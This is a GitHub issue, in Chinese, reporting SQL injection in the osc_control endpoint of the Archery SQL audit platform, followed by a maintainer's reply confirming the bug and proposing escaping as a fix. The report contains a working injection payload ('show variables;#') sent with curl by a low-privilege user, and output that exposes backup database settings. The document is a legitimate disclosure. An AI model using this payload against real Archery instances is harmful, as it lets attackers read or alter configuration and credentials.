Archery
Archery copied to clipboard
[ bug ]osc_control接口存在sql注入风险
重现步骤
-
获得任意一个账号(最低权限即可),登陆后获得sessionid
-
使用postman访问接口/inception/osc_control/(该接口未做权限控制),post body为
workflow_id=1&sqlsha1=&command=get -
将command参数设置为
show variables;#(代码中未对command和sqlsha1参数做校验),即command及sqlsha1参数存在SQL注入,导致低权限用户可获取或修改各种variables(甚至修改备份数据库地址和账号密码) -
或者直接curl命令访问,只需替换其中的url及sessionid
curl "http://127.0.0.1/inception/osc_control/" \
-XPOST -s -d "workflow_id=1&sqlsha1=&command=show variables;#" \
-H "Cookie: csrftoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; sessionid=zi8lb58sojs0mkoc76mjayfaocxuvhmx" \
-H "X-CSRFToken: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
预期外的结果
curl "http://127.0.0.1/inception/osc_control/" \
-XPOST -s -H "Cookie: csrftoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; sessionid=zi8lb58sojs0mkoc76mjayfaocxuvhmx" \
-H "X-CSRFToken: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
-d "workflow_id=1&sqlsha1=&command=show variables;#"
{"total": 155, "rows": [{"Variable_name": "backup_host", "Value": "127.0.0.1"}, {"Variable_name": "backup_password", "Value": "*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9"}, {"Variable_name": "backup_port", "Value": "3306"}, {"Variable_name": "backup_user", "Value": "root"}, {"Variable_name": "check_autoincrement_datatype", "Value": "true"}, {"Variable_name": "check_autoincrement_init_value", "Value": "true"}, {"Variable_name": "check_autoincrement_name", "Value": "true"}...], "msg": null}
日志文本
No response
版本
1.8.5
部署方式
Docker
是否还有其他可以辅助定位问题的信息?比如数据库版本等
No response
确实,代码在这里 https://github.com/hhyo/Archery/blob/6bb36f721481deaff1a29c29c26cd674d02620a3/sql/sql_workflow.py#L722
都是字符串的参数,先使用escape_string处理,当然最好的方式是全部使用预编译传参,不过当前改动较大,暂时不考虑